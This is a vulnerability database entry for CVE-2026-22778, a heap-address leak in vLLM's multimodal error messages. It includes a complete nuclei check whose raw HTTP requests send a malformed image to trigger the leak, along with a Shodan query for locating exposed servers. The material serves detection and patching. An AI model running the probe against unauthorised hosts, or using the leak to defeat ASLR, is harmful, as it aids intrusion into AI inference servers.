HexBrain

Browse / CVEs / CVE-2026-22778

CVE-2026-22778· vllm / vllm· CWE-209

vLLM 0.8.3 - 0.14.0 - Information Disclosure

criticalseverity
9.8CVSS score
18.3%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

vLLM 0.8.3 to - 0.14.1 contains an information disclosure caused by leaking a heap address in error messages from the multimodal endpoint when processing invalid images, letting remote attackers reduce ASLR entropy, exploit requires sending invalid images.

Impact

Remote attackers can leak heap addresses, significantly reducing ASLR effectiveness and enabling further exploitation like remote code execution.

Fix

Upgrade to version 0.14.1 or later.

How to confirm it

Send: GET /v1/models
Positive when: status_code == 200 and contains(body, "\"id\":")
Send: POST /v1/chat/completions
Positive when: status_code == 400 and contains(body, "_io.BytesIO object at 0x")

Run it with nuclei: nuclei -id CVE-2026-22778 -u <target>

The full check
id: CVE-2026-22778

info:
  name: vLLM 0.8.3 - 0.14.0 - Information Disclosure
  author: kenlacroix
  severity: critical
  description: |
    vLLM 0.8.3 to - 0.14.1 contains an information disclosure caused by leaking a heap address in error messages from the multimodal endpoint when processing invalid images, letting remote attackers reduce ASLR entropy, exploit requires sending invalid images.
  impact: |
    Remote attackers can leak heap addresses, significantly reducing ASLR effectiveness and enabling further exploitation like remote code execution.
  remediation: |
    Upgrade to version 0.14.1 or later.
  reference:
    - https://github.com/vllm-project/vllm/security/advisories/GHSA-4r2x-xpjr-7cvv
    - https://orca.security/resources/blog/cve-2026-22778-vllm-rce-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22778
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-22778
    epss-score: 0.18287
    epss-percentile: 0.97244
    cwe-id: CWE-209
  metadata:
    verified: true
    max-request: 2
    vendor: vllm
    product: vllm
    shodan-query: http.html:"/v1/models" http.html:"vllm"
  tags: cve,cve2026,vllm,llm,ai,disclosure,exposure,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /v1/models HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"id\":")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: model
        part: body
        internal: true
        group: 1
        regex:
          - '"id"\s*:\s*"([^"]+)"'

  - raw:
      - |
        POST /v1/chat/completions HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"model":"{{model}}","messages":[{"role":"user","content":[{"type":"text","text":"{{randstr}}"},{"type":"image_url","image_url":{"url":"data:image/png;base64,bm90YW5pbWFnZQ=="}}]}],"max_tokens":1}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 400'
          - 'contains(body, "_io.BytesIO object at 0x")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from